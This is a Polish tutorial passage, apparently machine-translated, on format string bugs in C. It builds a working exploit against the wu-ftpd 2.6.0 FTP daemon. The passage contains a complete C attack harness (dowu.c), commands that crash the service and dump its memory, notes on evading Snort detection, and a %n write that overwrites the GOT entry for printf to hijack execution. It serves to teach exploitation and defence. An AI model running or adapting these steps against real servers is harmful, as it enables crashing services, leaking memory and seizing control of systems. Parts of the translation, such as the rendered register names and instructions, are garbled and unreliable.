Wprowadzenie do błędów w ciągach formatujących

Ta część skupia się na błędach formatu łańcucha w Linuksie, chociaż ta klasa błędów nie jest specyficzna dla systemu operacyjnego. W swojej najczęstszej postaci błędy formatowania łańcuchów są wynikiem udogodnień do obsługi funkcji ze zmiennymi argumentami w języku programowania C. Ponieważ to naprawdę C sprawia, że błędy w ciągach formatujących są możliwe, wpływają one na każdy system operacyjny, który ma kompilator C, co oznacza, że prawie każdy istniejący system operacyjny.

Warunki wstępne

Aby zrozumieć tą część, będziesz potrzebować podstawowej znajomości rodziny języków programowania C, a także podstawowej znajomości asemblera IA32. Praktyczna znajomość Linuksa byłaby przydatna, ale nie jest niezbędna.

Co to jest ciąg formatujący?

Aby zrozumieć, czym jest ciąg formatujący, musisz zrozumieć problem, który rozwiązują ciągi formatujące. Większość programów wyświetla dane tekstowe w jakiejś formie, często zawierające dane liczbowe. Powiedzmy na przykład, że program chciał wypisać ciąg znaków zawierający kwotę pieniędzy. Rzeczywista kwota może być przechowywana w programie w postaci liczby zmiennoprzecinkowej o podwójnej precyzji, na przykład:

double AmountInSterling;

Powiedzmy, że kwota w funtach szterlingach wynosi 30432,36 GBP. Chcielibyśmy wypisać kwotę dokładnie tak, jak poprzedzona znakiem funta (£), z kropką dziesiętną i dwoma miejscami po nim. W przypadku braku ciągów formatujących musielibyśmy napisać dość znaczną ilość kodu tylko po to, aby sformatować liczbę w ten sposób, a nawet wtedy prawdopodobnie zadziałałoby to tylko dla typu double-data i waluty funty szterlingi. Ciągi formatujące zapewniają bardziej ogólne rozwiązanie tego problemu, umożliwiając wyprowadzenie ciągu zawierającego wartości zmiennych, sformatowane dokładnie zgodnie z zaleceniami programisty. Aby wypisać określoną liczbę, po prostu wywołalibyśmy funkcję printf, która wyprowadza łańcuch na standardowe wyjście procesu (stdout):

printf(“%.2f\n”, Kwota w szterlingach);

Pierwszym parametrem tej funkcji jest ciąg formatu. Określa stały ciąg znaków z symbolami zastępczymi, które określają, gdzie zmienne mają zostać podstawione w ciągu. Aby wyprowadzić double przy użyciu ciągu formatu, użyj specyfikatora formatu %f. Możesz kontrolować aspekty sposobu wyprowadzania danych za pomocą składników flag, szerokości i precyzji specyfikatora formatu — w tym przypadku używamy składnika precyzji, aby określić, że wymagane są dwa miejsca po przecinku dziesiętnym. W tym prostym przykładzie nie korzystamy z elementów szerokości i precyzji. Abyś mógł to poczuć, oto kolejny przykład, który wyświetla odwołanie ASCII, ze znakami określonymi w postaci dziesiętnej, szesnastkowej i ich odpowiednikach ASCII:

```
#include < stdlib.h >

#include < stdio.h >

int main( int argc, char *argv[] )

{

int c;

printf( “Decimal Hex Character\n” );
```

```
printf( “======= === =========\n” );
for( c = 0x20; c < 256; c++ )
{
switch( c )
{
case 0x0a:
case 0x0b:
case 0x0c:
case 0x0d:
case 0x1b:
printf( “ %03d %02x \n”, c, c );
break;
default:
printf( “ %03d %02x %c\n”, c, c, c );
break;
}
}
return 1;
}
```

Wynik wygląda tak:

Dziesiętny znak szesnastkowy

======= === ===

032 20

033 21!

034 22”

035 23 #

036 24 zł

037 25%

038 26

039 27’

040 28 (

041 29)

042 2a *

043 2b +

044 2c ,

045 2d -

046 2e .

Zauważ, że w tym przykładzie wyświetlamy znak na trzy różne sposoby - używając trzech różnych specyfikatorów formatu - i z różnymi specyfikatorami szerokości, aby upewnić się, że wszystko jest ładnie wyrównane.

Co to jest błąd ciągu formatującego?

Błąd ciągu formatu występuje, gdy dane dostarczone przez użytkownika są zawarte w ciągu specyfikacji formatu jednej z funkcji printf z rodziny, w tym

printf

fprintf

sprint

snprintf

vfprintf

vprintf

vsprintf

vsnprintf

i wszelkie podobne funkcje na twojej platformie, które akceptują ciąg, który może zawierać specyfikatory formatu w stylu C, takie jak funkcje wprintf na platformach Windows. Atakujący dostarcza pewną liczbę specyfikatorów formatu, które nie mają odpowiadających im argumentów na stosie, a wartości ze stosu są używane w ich miejsce. Prowadzi to do ujawnienia informacji i potencjalnie do wykonania dowolnego kodu. Jak już omówiono, funkcje printf mają być przekazywane jako łańcuch formatujący, który określa sposób rozmieszczenia danych wyjściowych i jaki zestaw zmiennych zostanie podstawiony w łańcuchu formatującym. Poniższy kod wypisze na przykład pierwiastek kwadratowy z 2 do 4 miejsc po przecinku:

printf(“The square root of 2 is: %2.4f\n”, sqrt(2.0));

Jednak dziwne zachowania występują, gdy dostarczamy ciąg formatujący, ale pomijamy zmienne, które mają zostać podstawione. Oto ogólny program, który wywołuje printf z argumentem, który jest przekazywany w wierszu poleceń:

#include < stdio.h >

#include < stdlib.h >

int main(int argc, char *argv[])

```
{
if( argc != 2 )
{
printf(“Error - supply a format string please\n”);
return 1;
}
printf( argv[1] );
printf( “\n” );
return 0;
}
```

Jeśli tak to skompilujemy:

cc fmt.c -o fmt

i nazwij to w następujący sposób:

./fmt „%x %x %x %x”

faktycznie nazywamy printf w ten sposób:

printf(„%x %x %x %x”);

Ważną rzeczą tutaj jest to, że chociaż dostarczyliśmy łańcuch formatujący, nie dostarczyliśmy czterech zmiennych numerycznych, które mają być podstawione w łańcuchu. Co ciekawe, printf nie zawodzi, zamiast tego generuje wydruk wyglądający tak:

4015c98c 4001526c bffff944 bffff8e8

Zatem printf() niespodziewanie otrzymuje skądś cztery argumenty. Te argumenty w rzeczywistości pochodzą ze stosu. Początkowo może się wydawać, że nie stanowi to problemu; jednak osoba atakująca może być w stanie zobaczyć zawartość stosu. Co to znaczy? Cóż, samo w sobie może ujawnić poufne informacje, takie jak nazwy użytkowników i hasła, ale problem jest głębszy. Jeśli spróbujemy podać dużą liczbę specyfikatorów %x, w ten sposób:

./fmt

“AAAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%
x

%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%
x

%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%
x

%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x”

uzyskujemy ciekawe wynik:

./fmt

“AAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x

%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x

%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x

%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x

AAAAAAAAAAAAAAAAAA4001526cbffff7d880483e18049530804962cbffff8084003e280

2bffff834bffff84080482ae80484900bffff8084003e26a0bffff8404015abc040014d2

8280483000804832180484002bffff834804829880484904000cc20bffff82c400152cc2

bffff972bffff9780bffffa8ebffffab1bffffac3bffffae3bffffaf6bffffb08bffffb2

abffffb3cbffffb4ebffffb5bbffffb64bffffb6ebffffb85bffffd63bffffd71bffffd9

2bffffdadbffffdc2bffffdcfbffffddabffffdebbffffdf8bffffe00bffffe0fbffffe2

4bffffe34bffffe42bffffe50bffffe61bffffe6fbffffe7abffffe85bffffed6bffffee

5bffffef7bfffff0abfffff1bbfffff2bbfffffd6bfffffde0103febfbff610001164380

48034420567400000008098048300b0c0d0e0fbffff96d000000383669002f2e0036746d

664141414141414141414141414141414141254141412578257825782578257825782578257825

782578257825782578257825782578257825782578257825782578257825782578

Jak widać, pobieramy dużą ilość danych ze stosu, ale pod koniec ciągu widzimy zakodowaną szesnastkowo reprezentację początku naszego ciągu:

41414141414141

Ten wynik jest nieco nieoczekiwany, ale ma sens, jeśli weźmie się pod uwagę, że sam ciąg formatujący jest przechowywany na stosie, więc 4-bajtowe segmenty z ciągu są przekazywane jako „liczby”, które mają zostać zastąpione w ciągu. Dlatego możemy uzyskać dane ze stosu w formacie szesnastkowym. Co jeszcze możemy zrobić? Cóż, aby przyjrzeć się kilku różnym specyfikatorom konwersji typu, których możemy użyć, spójrz na:

man sprint

Widzimy dużą liczbę specyfikatorów konwersji - d, i, o, u oraz x dla liczb całkowitych; e, f, g, a dla liczby zmiennoprzecinkowej; ic dla znaków. Istnieje jednak kilka innych interesujących specyfikatorów, które oczekują czegoś innego niż prostego argumentu liczbowego:

s-Argument jest traktowany jako wskaźnik do łańcucha. Ciąg znaków jest zastępowany na wyjściu.

n-Argument jest traktowany jako wskaźnik do liczby całkowitej (lub wariantu liczby całkowitej, np. short). Liczba znaków wyprowadzonych do tej pory jest przechowywana pod adresem wskazywanym przez argument.

Tak więc, jeśli określimy %n w ciągu formatującym, liczba znaków wyjściowych do tej pory jest zapisywana w lokalizacji określonej przez argument, a więc:

./fmt „AAAAAAAAAAAAAAAAAAA%n%n%n%n%n%n%n%n%n%n%n”

UWAGA: Nie zapomnij dodać ulimit –c unlimted, aby zapewnić sobie zrzut rdzenia.

Ten przykład jest bardziej interesujący i ilustruje niebezpieczeństwo związane z umożliwieniem użytkownikowi określenia ciągów formatu. Przeglądając poprzedni opis specyfikatorów formatu printf, powinieneś zobaczyć, że specyfikator typu %n oczekuje adresu jako swojego argumentu i zapisze liczbę znaków wyprowadzonych do tej pory w tym adresie. Oznacza to, że możemy nadpisywać wartości przechowywane pod określonymi adresami, co pozwala nam przejąć kontrolę nad wykonaniem. Nie martw się, jeśli nie do końca rozumiesz implikacje tego w tej chwili; resztę rozdziału poświęcimy na szczegółowe wyjaśnienie. Przypominając poprzedni przykład ASCII, możemy użyć specyfikatora precyzji do kontrolowania liczby znaków na wyjściu; jeśli chcemy wypisać 50 znaków, możemy określić %050x, co spowoduje wyświetlenie szesnastkowej liczby całkowitej uzupełnionej wiodącymi zerami, dopóki nie będzie zawierała dokładnie 50 cyfr.

Ponadto, jeśli przypomnisz sobie, że argumenty funkcji printf można wyciągnąć z samego łańcucha - nasz przykład 41414141 powyżej - zobaczysz, że możemy użyć specyfikatora %n, aby zapisać kontrolowaną przez nas wartość pod wybrany przez nas adres. Korzystając z tych faktów, możemy uruchomić dowolny kod, ponieważ istnieją następujące warunki:

* Możemy kontrolować wartości argumentów i możemy zapisać liczbę znaków wyprowadzanych w dowolnym miejscu pamięci.

* Specyfikator szerokości pozwala nam dopełnić dane wyjściowe do prawie dowolnej długości - na pewno do 255 znaków. Możemy nadpisać jeden bajt wybraną przez nas wartością.

* Możemy to zrobić cztery razy, więc możemy nadpisać prawie dowolne 4 bajty wybraną przez nas wartością. Nadpisanie 4 bajtów umożliwia atakującemu nadpisanie adresów. Możemy mieć problemy z zapisem do adresów z bajtami 00, ponieważ bajt 00 kończy łańcuch w C. Jednak prawdopodobnie możemy obejść te problemy, pisząc 2 bajty zaczynając od adresu przed nim.

* Ponieważ generalnie możemy odgadnąć adres wskaźnika funkcji (zapisany adres powrotu, tabela importu binarnego, vtable w C++), możemy spowodować, że dostarczony przez nas łańcuch zostanie wykonany jako kod.

Warto wyjaśnić kilka typowych nieporozumień związanych z atakami ciągami formatowymi:

*Wpływają nie tylko na Uniksa.

* Niekoniecznie są oparte na stosach.

* Mechanizmy ochrony stosu generalnie nie będą się przed nimi bronić.

* Można je generalnie wykryć za pomocą narzędzi do statycznej analizy kodu.

Poradnik bezpieczeństwa dotyczący luki w formacie ciągu formatu Van Dyke VShell SSH Gateway dla systemu Windows dobrze ilustruje te kwestie i można go znaleźć pod adresem http://nvd.nist.gov/nvd.cfm?cvename=CVE-2001-0155. To dość poważna luka. Luka związana z wykonaniem dowolnego kodu w składniku, który uwierzytelnia użytkowników, skutecznie usuwa wszelką kontrolę dostępu z tego składnika. W takim przypadku wprawny napastnik może stosunkowo łatwo przechwycić tekst jawny wszystkich sesji użytkownika lub z łatwością przejąć kontrolę nad systemem. Podsumowując, błąd ciągu formatu występuje, gdy dane dostarczone przez użytkownika są zawarte w ciągu specyfikacji formatu jednej z funkcji printf. Atakujący dostarcza pewną liczbę specyfikatorów formatu, które nie mają odpowiadających im argumentów na stosie, a wartości ze

stosu są używane w ich miejsce. Prowadzi to do ujawnienia informacji i potencjalnie do wykonania dowolnego kodu.

Exploity ciągu formatującego

Gdy wywoływana jest funkcja rodziny printf, parametry do funkcji są przekazywane na stos. Jak wspomnieliśmy wcześniej, jeśli do funkcji zostanie przekazanych zbyt mało parametrów, funkcja printf pobierze kolejne wartości ze stosu i użyje ich zamiast nich. Zwykle ciąg formatujący jest przechowywany na stosie, więc możemy użyć samego ciągu formatującego do dostarczenia argumentów, których użyje funkcja printf podczas oceny specyfikatorów formatu. Pokazaliśmy już, że w niektórych przypadkach do wyświetlenia zawartości stosu mogą zostać użyte błędy łańcucha formatującego. Błędy łańcucha formatującego mogą, bardziej użyteczne, zostać użyte do uruchomienia dowolnego kodu, używając odmian specyfikatora %n (wrócimy do tego później). Innym, bardziej interesującym sposobem wykorzystania błędu ciągu formatującego jest użycie specyfikatora %n do zmodyfikowania wartości w pamięci w celu zmiany zachowania programu w jakiś fundamentalny sposób. Na przykład program może przechowywać w pamięci hasło do niektórych funkcji administracyjnych. To hasło może być zakończone znakiem NULL przy użyciu specyfikatora %n, który umożliwiłby dostęp do tej funkcji administracyjnej z pustym hasłem. Wartości identyfikatora użytkownika (UID) i identyfikatora grupy (GID) są również dobrymi celami — jeśli program przyznaje lub odwołuje dostęp do jakiegoś zasobu lub zmienia swój poziom uprawnień w sposób zależny od wartości w pamięci, wartości te mogą być dowolnie zmodyfikowany w celu osłabienia bezpieczeństwa programu. Pod względem subtelności ciągi formatu są nie do pobicia. Aby mieć konkretny przykład do zabawy, przyjrzymy się demonowi FTP Uniwersytetu Waszyngtońskiego, który był podatny (w wersji 2.6.0) na kilka błędów ciągu formatującego. Jest to ciekawy błąd demonstracyjny, ponieważ ma wiele pożądanych funkcji z punktu widzenia działającego przykładu:

* Dostępny jest kod źródłowy, a zagrożoną wersję można łatwo pobrać i skonfigurować.

* Jest to błąd typu root root (który można wyzwolić przy użyciu „anonimowego” konta), więc stanowił bardzo realne zagrożenie.

* Pojedynczy proces obsługuje połączenie sterujące, dzięki czemu możemy wykonać wiele zapisów w tej samej przestrzeni adresowej.

* Otrzymujemy echem wynik naszego ciągu formatu, dzięki czemu możemy łatwo zademonstrować odzyskiwanie informacji.

Będziesz potrzebować Linux-a z gcc, gdb i wszystkimi narzędziami do pobrania . Możesz także pobrać wu-ftpd-2.6.0.tar.gz.asc i sprawdzić, czy plik nie został zmodyfikowany, chociaż to zależy od Ciebie. Postępuj zgodnie ze wskazówkami oraz zainstaluj i skonfiguruj wu-ftpd. Powinieneś oczywiście pamiętać, że instalując to, udostępniasz swój komputer każdemu, kto ma exploit wu-ftpd (czyli każdemu), więc podejmij odpowiednie środki ostrożności, takie jak odłączenie się od sieci lub użycie defensywy konfiguracja zapory. Bycie własnością kogoś byłoby żenujące używając tego samego błędu, którego używasz, aby dowiedzieć się o błędach ciągu formatującego. Więc proszę bądź ostrożny.

Usługi rozbijające

Czasami, gdy atakujesz sieć, wszystko, co chcesz zrobić, to awaria określonej usługi. Na przykład, jeśli przeprowadzasz atak obejmujący rozpoznawanie nazw, możesz chcieć spowodować awarię serwera DNS. Jeśli usługa jest podatna na problem z ciągiem formatu, bardzo łatwo można ją zawiesić. Weźmy więc nasz przykład, problem wu-ftpd. Demon Washington University FTP w wersji 2.6.0 (i

wcześniejszych) był podatny na typowy błąd ciągu formatu w poleceniu site exec. Oto przykładowa sesja:

[root@attacker]# telnet victim 21

Trying 10.1.1.1…

Connected to victim (10.1.1.1).

Escape character is '^]'.

220 victim FTP server (Version wu-2.6.0(2) Wed Apr 30 16:08:29 BST 2003) ready.

user anonymous

331 Guest login ok, send your complete e-mail address as password.

pass foo

230 User anonymous logged in.

site exec %x %x %x %x %x %x %x %x

200-8 8 bfffcacc 0 14 0 14 0

200 (end of '%x %x %x %x %x %x %x %x')

site index %x %x %x %x %x %x %x %x

200-index 9 9 bfffcacc 0 14 0 14 0

200 (end of 'index %x %x %x %x %x %x %x %x')

quit

221-You have transferred 0 bytes in 0 files.

221-Total traffic for this session was 448 bytes in 0 transfers.

221-Thank you for using the FTP service on vulcan.ngssoftware.com.

221 Goodbye.

Connection closed by foreign host.

[root@attacker]#

Jak widać, określając %x w poleceniach site exec i (co ciekawsze) site index, byliśmy w stanie wyodrębnić wartości ze stosu w sposób opisany powyżej. Gdybyśmy mieli dostarczyć to polecenie:

site index %n%n%n%n

wu-ftpd próbowałby zapisać liczbę całkowitą 0 pod adresami 0x8, 0x8, 0xbfffcacc i 0x0, powodując błąd segmentacji, ponieważ adresy 0x8 i 0x0 nie są normalnie zapisywalne. Spróbujmy:

site index %n%n%n%n

Connection closed by foreign host.

Nawiasem mówiąc, niewiele osób wie, że polecenie indeksu witryny jest podatne na ataki, więc można się założyć, że większość sygnatur IDS nie będzie go szukać. Z pewnością w momencie pisania tego tekstu domyślna baza reguł Snort przechwytuje tylko

site exec.

Wyciek informacji

Kontynuując nasz przykład wu-ftpd 2.6.0, spójrzmy, jak możemy wyodrębnić informacje. Widzieliśmy już, jak uzyskać informacje ze stosu — użyjmy techniki „w złości" z wu-ftpd i zobaczmy, co dostaniemy. Najpierw przygotujmy szybki i brudny zestaw testowy, który pozwoli nam łatwo przesłać ciąg formatu za pomocą polecenia indeksu witryny. Nazwij to dowu.c:

```
#include < stdio.h >

#include < string.h >

#include < stdlib.h >

#include < sys/types.h >

#include < sys/socket.h >

#include < sys/time.h >

#include < netdb.h >

#include < unistd.h >

#include < netinet/in.h >

#include < arpa/inet.h >

#include < signal.h >

#include < errno.h>

int connect_to_server(char*host){

struct hostent *hp;

struct sockaddr_in cl;

int sock;

if(host==NULL||*host==(char)0){

fprintf(stderr,"Invalid hostname\n");

exit(1);

}

if((cl.sin_addr.s_addr=inet_addr(host))==-1)

{

if((hp=gethostbyname(host))==NULL)

{
```

```
fprintf(stderr,”Cannot resolve %s\n”,host);
exit(1);
}
memcpy((char*)&cl.sin_addr,(char*)hp-
>h_addr,sizeof(cl.sin_addr));
}
if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
{
fprintf(stderr,”Error creating socket: %s\n”,strerror(errno));
exit(1);
}
cl.sin_family=PF_INET;
cl.sin_port=htons(21);
if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1)
{
fprintf(stderr,”Cannot connect to %s: %s\n”,host,strerror(errno));
}
return sock;
}
int receive_from_server( int s, int print )
{
int retval;
char buff[ 1024 * 64];
memset( buff, 0, 1024 * 64 );
retval = recv( s, buff, (1024 * 63), 0 );
if( retval > 0 )
{
if( print )
printf( “%s”, buff );
}
else
```

```
{
if( print)
printf( “Nothing to recieve\n” );
return 0;
}
return 1;
}
int ftp_send( int s, char *psz )
{
send( s, psz, strlen( psz ), 0 );
return 1;
}
int syntax()
{
printf(“Use\ndo_wu <host> <format string>\n");
return 1;
}
int main( int argc, char *argv[] )
{
int s;
char buff[ 1024 * 64 ];
char tmp[ 4096 ];
if( argc != 4 )
return syntax();
s = connect_to_server( argv[1] );
if( s <= 0 )
_exit( 1 );
receive_from_server( s, 0 );
ftp_send( s, “user anonymous\n” );
receive_from_server( s, 0 );
ftp_send( s, “pass foo@example.com\n" );
```

```
receive_from_server( s, 0 );

if( atoi( argv[3] ) == 1 )

{

printf(“Press a key to send the string...\n”);

getc( stdin );

}

strcat( buff, “site index “ );

sprintf( tmp, “%.4000s\n”, argv[2] );

strcat( buff, tmp );

ftp_send( s, buff );

receive_from_server( s, 1 );

shutdown( s, SHUT_RDWR );

return 1;

}
```

Skompiluj ten kod (po wstawieniu wybranych poświadczeń) i uruchom go. Zacznijmy od podstawowego popu stosu:

./dowu localhost „%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x” 0

Powinieneś otrzymać coś takiego:

00-index 12 12 bfffca9c 0 14 0 14 0 8088bc0 0 0 0 0 0 0 0 0

Czy naprawdę potrzebujemy tych wszystkich %xs? No nie bardzo. W większości *nixów możemy użyć funkcji znanej jako bezpośredni dostęp do parametrów. Zauważ, że powyżej trzecia wartość wyjściowa ze stosu to bfffca9c. Spróbuj tego:

./dowu localhost „%3\$x” 0

Powinieneś zobaczyć:

200-index bfffca9c

Mamy bezpośredni dostęp do trzeciego parametru i wyprowadzamy go. Prowadzi to do interesującej możliwości wyprowadzania danych od szczególnie wzwyż, poprzez określenie ich przesunięcia. Połączmy to i zobaczmy, co jest na stosie:

for((i = 1; i < 1000; i++)); do echo -n "$i " && ./dowu localhost "%$i\$x" 0; done

To daje nam pierwsze 1000 słów danych na stosie, z których niektóre mogą być interesujące. Możemy również użyć specyfikatora %s, na wypadek gdyby niektóre z tych wartości były wskaźnikami do interesujących ciągów:

for((i = 1; i < 1000; i++)); do echo -n "$i " && ./dowu localhost "%$i\$s" 0; done

Ponieważ możemy użyć specyfikatora %s do pobrania ciągów, możemy spróbować pobrać ciągi z dowolnej lokalizacji w pamięci. Aby to zrobić, musimy ustalić, gdzie na stosie zaczyna się przesyłany przez nas ciąg. Więc robimy coś takiego:

for((i = 1; i < 1000; i++)); do echo -n "$i " && ./dowu localhost "AAA

AAAAAAAAAAAA%$i\$x" 0; done | grep 4141

aby uzyskać lokalizację na liście parametrów wyjścia 41414141 (początek ciągu formatu). Na moim pudełku to 272, ale twoje może się różnić. Kontynuując ten przykład, zmodyfikujmy początek naszego ciągu i spójrzmy na to, co mamy w parametrze 272:

./dowu localhost „BBBA%272\$x" 0

Otrzymujemy:

200-index BBBA41424242

co pokazuje, że 4 bajty na początku naszego ciągu to parametr 272. Użyjmy go więc do odczytania dowolnego adresu z pamięci. Zacznijmy od prostego przypadku, o którym wiemy, że istnieje:

for((i = 1; i < 1000; i++)); do echo -n "$i " && ./dowu localhost "%$i\$s" 0; done

Przy parametrze 187 otrzymuję to:

200-index BBBA%s FTP server (%s) ready.

Więc zdobądźmy adres tego ciągu, używając specyfikatora %x:

./dowu localhost „BBBA%187\$x" 0

200-index BBBA8064d55

Możemy teraz spróbować pobrać ciąg w 0x08064d55 w ten sposób:

./dowu localhost $'\x55\x4d\x06\x08%272$s' 0

200-index server FTP U%s (%s) ready.

Zauważ, że musieliśmy odwrócić bajty w „adresie" na początku naszego ciągu formatującego, ponieważ seria procesorów I386 jest little-endian. Możemy teraz pobrać dowolne dane z pamięci, nawet zrzut całej przestrzeni adresowej, po prostu określając adres, który wybieramy na początku ciągu i używając bezpośredniego dostępu do parametrów, aby uzyskać dane. Jeśli platforma, którą atakujesz, nie obsługuje bezpośredniego dostępu do parametrów (na przykład Windows), możesz normalnie dotrzeć do parametru, który przechowuje początek ciągu, umieszczając wystarczającą liczbę specyfikatorów w ciągu formatu. Możesz mieć z tym problem, ponieważ proces docelowy może nałożyć limit na rozmiar twojego ciągu. Istnieje kilka możliwych obejścia tego problemu. Ponieważ próbujesz dotrzeć do wybranego parametru przez usunięcie danych ze stosu, możesz użyć specyfikatorów, które przyjmują większe argumenty, takie jak specyfikator %f (który przyjmuje podwójną, 8-bajtową liczbę zmiennoprzecinkową, jako jego parametr). Może to jednak nie być strasznie wiarygodne; czasami procedury zmiennoprzecinkowe są optymalizowane z procesu docelowego, co powoduje błąd, gdy używasz specyfikatora %f. Ponadto czasami pojawiają się błędy dzielenia przez zero, więc możesz chcieć użyć %.f, które wypisze tylko całkowitą część liczby, unikając dzielenia przez zero. Inną możliwością jest kwalifikator *, który określa, że długość wyjściowa dla danego parametru zostanie określona przez parametr bezpośrednio go poprzedzający. Na przykład:

printf(„%*d”, 10, 123);

wypisze liczbę 123 uzupełnioną wiodącymi spacjami do długości 10 znaków. Niektóre platformy zezwalają na taką składnię:

%**********10d

który zawsze wypisuje dziesięć znaków. Oznacza to, że możemy zbliżyć się do stosunku liczby wyskakujących 4 bajtów do 1 bajta ciągu formatu.

Kontrolowanie wykonania pod kątem eksploatacji

Możemy zatem pobrać wszystkie dane, które nam się podobają z docelowego procesu, ale teraz chcemy uruchomić kod. Jako punkt wyjścia, spróbujmy napisać słowo (4 bajty) naszego wyboru pod wybrany przez nas adres, w wu-ftpd. Celem jest tutaj zapisanie do wskaźnika funkcji, zapisanego adresu powrotu lub czegoś podobnego i uzyskanie ścieżki wykonania, aby przejść do naszego kodu. Najpierw napiszmy wartość wybranej przez nas lokalizacji. Pamiętasz, że parametr 272 to początek naszego łańcucha w wu-ftpd? Zobaczmy, co się stanie, jeśli spróbujemy zapisać do lokalizacji w pamięci:

./dowu localhost $'\x41\x41\x41\x41%272$n' 1

Jeśli użyjesz gdb do śledzenia wykonania wu-ftpd, zobaczysz, że właśnie próbowaliśmy zapisać 0x0000000a pod adresem 0x41414141. Zauważ, że w zależności od twojej platformy i wersji gdb, twoje gdb może nie obsługiwać następujących procesów potomnych, więc umieściłem hak w dowu.c, aby to uwzględnić. Jeśli wpiszesz 1 dla trzeciego argumentu wiersza poleceń, dowu.c zatrzyma się, dopóki nie naciśniesz klawisza przed wysłaniem ciągu formatującego do serwera, dając ci czas na zlokalizowanie odpowiedniego procesu potomnego i dołączenie do niego gdb. Biegnijmy:

./dowu localhost $'\x41\x41\x41\x41%272$n' 1

Powinieneś zobaczyć żądanie Naciśnij klawisz, aby wysłać ciąg. Teraz

znajdź proces potomny:

ps-aux | grep ftp

Powinieneś zobaczyć coś takiego:

korzeń 32710 0,0 0,2 2016 700 ? S maj 07 0:00 ftpd: akceptowanie c

ftp 11821 0,0 0,4 2120 1052 ? S 16:37 0:00 ftpd: localhost.l

Instancja działająca jako ftp jest dzieckiem. Więc odpalamy gdb, a potem

napisz załącznik 11821, aby dołączyć do procesu podrzędnego. Powinieneś zobaczyć coś takiego:

Dołączanie do procesu 11821

0x4015a344 w ?? ()

Wpisz Continue, aby poinformować gdb, aby kontynuował. Jeśli przełączysz się na terminal dowu i naciśniesz Enter, a następnie przełączysz się z powrotem na terminal gdb, powinieneś zobaczyć coś takiego:

Program otrzymał sygnał SIGSEGV, błąd segmentacji.

0x400d109c w ?? ()

Jednak musimy wiedzieć więcej. Zobaczmy, jaką instrukcją byliśmy

wykonanie:

x/5i $eip

0x400d109c: ruch %edi,(%eax)

0x400d109e: jmp 0x400cf84d

0x400d10a3: mov 0xfffff9b8(%ebp),%ecx

0x400d10a9: test %ecx,%ecx

0x400d10ab: je 0x400d10d0

Jeśli wtedy otrzymamy wartości rejestrów:

informacja rej

eax 0x41414141 1094795585

ecx 0xbfff9c70 -1073767312

edx 0x0 0

ebx 0x401b298c 1075521932

szczególnie 0xbfff8b70 0xbfff8b70

ebp 0xbfffa908 0xbfffa908

esi 0xbfff8b70 -1073771664

edy 0xa 10

i tak dalej, widzimy, że instrukcja mov %edi,(%eax) próbuje przenieść wartość 0xa pod adres 0x41414141. To jest prawie to, czego można się spodziewać. Teraz znajdźmy coś sensownego do nadpisania. Do wyboru jest wiele celów, w tym:

* Zapisany adres zwrotny (proste przepełnienie stosu; użyj technik ujawniania informacji, aby określić lokalizację adresu zwrotnego)

* The Global Offset Table (GOT) (dynamiczne relokacje funkcji; świetne, jeśli ktoś używa tego samego pliku binarnego co Ty; na przykład rpm)

* Tabela destruktorów (DTORS) (destruktory są wywoływane tuż przed wyjściem)

* haki biblioteki C, takie jak malloc_hook, realloc_hook i free_hook

* Struktura atexit (patrz atexit człowieka)

* Wszelkie inne wskaźniki funkcji, takie jak tabele wirtualne C++, wywołania zwrotne itd.

* W systemie Windows domyślny program obsługi nieobsługiwanych wyjątków, którym jest

(prawie) zawsze pod tym samym adresem

Ponieważ jesteśmy leniwi, użyjemy techniki GOT, ponieważ pozwala ona na elastyczność, jest dość prosta w użyciu i otwiera drogę do bardziej subtelnych exploitów z ciągami formatowania. Przyjrzyjmy się krótko wrażliwej części wu-ftpd, zanim spojrzymy na GOT:

```
void vreply(long flags, int n, char *fmt, va_list ap)

{

char buf[BUFSIZ];

flags &= USE_REPLY_NOTFMT | USE_REPLY_LONG;

if (n) /* if numeric is 0, don't output one; use n==0

in place of printf's */

sprintf(buf, "%03d%c", n, flags & USE_REPLY_LONG ? '-' : ' ');

/* This is somewhat of a kludge for autospout. I personally think that

* autospout should be done differently, but that's not my department. -Kev

*/ if (flags & USE_REPLY_NOTFMT)

snprintf(buf + (n ? 4 : 0), n ? sizeof(buf) - 4 : sizeof(buf), "%s", fmt);

else

vsnprintf(buf + (n ? 4 : 0), n ? sizeof(buf) - 4 : sizeof(buf), fmt, ap);

if (debug) /* debugging output :) */

syslog(LOG_DEBUG, "<--- %s", buf);

/* Yes, you want the debugging output before the client output; wrapping

* stuff goes here, you see, and you want to log the cleartext and send

* the wrapped text to the client.

*/

printf("%s\r\n", buf); /* and send it to the client */

#ifdef TRANSFER_COUNT

byte_count_total += strlen(buf);

byte_count_out += strlen(buf);

#endif

fflush(stdout);

}
```

Interesujące jest to, że istnieje wywołanie printf zaraz po podatnym wywołaniu vsnprintf. Rzućmy okiem na GOT dla in.ftpd:

```
objdump -R /usr/sbin/in.ftpd
```

<lots of output>

0806d3b0 R_386_JUMP_SLOT printf

<lots more output>

Widzimy, że możemy przekierować wykonanie po prostu modyfikując wartość przechowywaną w 0x0806d3b0. Nasz łańcuch formatujący nadpisze tę wartość, a następnie (ponieważ wuftpd wywołuje printf zaraz po wykonaniu tego, co każemy w naszym łańcuchu formatującym) przeskoczy do dowolnego miejsca. Jeśli powtórzymy zapis, który zrobiliśmy wcześniej, w końcu nadpiszemy adres printf na 0xa, a tym samym, miejmy nadzieję, przeskoczymy do 0xa:

./dowu localhost $'\xb0\xd3\x06\x08%272$n' 1

